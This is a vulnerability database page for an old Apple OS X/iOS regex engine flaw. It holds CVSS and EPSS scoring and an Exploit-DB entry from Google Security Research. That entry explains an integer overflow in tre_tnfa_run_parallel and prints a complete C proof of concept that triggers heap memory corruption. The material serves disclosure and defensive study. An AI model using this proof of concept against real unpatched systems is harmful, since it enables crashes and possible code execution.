Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 38262
Publication date : 2015-09-21 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=429
The OS X regex engine function tre_tnfa_run_parallel contains the following code:
int tbytes;
...
if (!match_tags)
num_tags = 0;
else
num_tags = tnfa->num_tags;
...
{
int rbytes, pbytes, total_bytes;
char *tmp_buf;
/* Compute the length of the block we need. */
tbytes = sizeof(*tmp_tags) * num_tags;
rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
pbytes = sizeof(*reach_pos) * tnfa->num_states;
total_bytes =
(sizeof(long) - 1) * 4 /* for alignment paddings */
+ (rbytes + tbytes * tnfa->num_states) * 2 + tbytes + pbytes;
DPRINT(("tre_tnfa_run_parallel, allocate %d bytes\n", total_bytes));
/* Allocate the memory. */
#ifdef TRE_USE_ALLOCA
buf = alloca(total_bytes);
#else /* !TRE_USE_ALLOCA */
buf = xmalloc((unsigned)total_bytes); <-- malloc is called, not alloca
#endif /* !TRE_USE_ALLOCA */
if (buf == NULL)
return REG_ESPACE;
memset(buf, 0, (size_t)total_bytes);
num_states and num_tags are computed based on the requirements of the regex and it's quite easy to make them each >64k with a relatively small regex. Note that total_bytes is an int and part of its calculation is the product of num_states and num_tags.
The types here are all over the place and there's conversion between int, unsigned's and size_t.
The attached PoC causes total_bytes to become negative leading to total_bytes being sign-extended in the memset call.
Severity medium because I haven't looked for exposed attack surface yet, but this doesn't require any non-standard flags (only REG_EXTENDED which is almost always used.)
Proof of Concept:
//ianbeer
#include <pthread.h>
#include <regex.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define DEFAULT_REG_FLAGS (REG_EXTENDED)
void* go(void* arg){
unsigned int nesting_level = 20;
size_t inner_size = nesting_level*2+10;
char* inner = malloc(inner_size);
memset(inner, '(', nesting_level);
inner[nesting_level] = '\\';
inner[nesting_level+1] = '1';
memset(&inner[nesting_level+2], ')', nesting_level);
inner[nesting_level*2+2] = '\x00';
unsigned int n_captures = 0x1000;
char* regex = malloc(n_captures * inner_size + 100);
strcpy(regex, "f(o)o((b)a(r))");
for (unsigned int i = 0; i < n_captures; i++) {
strcat(regex, inner);
}
strcat(regex, "r\\1o|\\2f|\\3l|\\4");
const char* match_against = "hellothar!";
regex_t re;
int err = regcomp (&re, regex, DEFAULT_REG_FLAGS);
if (err == 0) {
void* something = malloc(100);
regexec (&re, match_against, 1, (regmatch_t*)something, DEFAULT_REG_FLAGS);
}
return NULL;
}
int main (int argc, char const** argv)
{
go(NULL);
return 0;
}
Products Mentioned
Configuraton 0
Apple>>Iphone_os >> Version To (including) 8.4
Configuraton 0
Apple>>Mac_os_x >> Version To (including) 10.10.4
References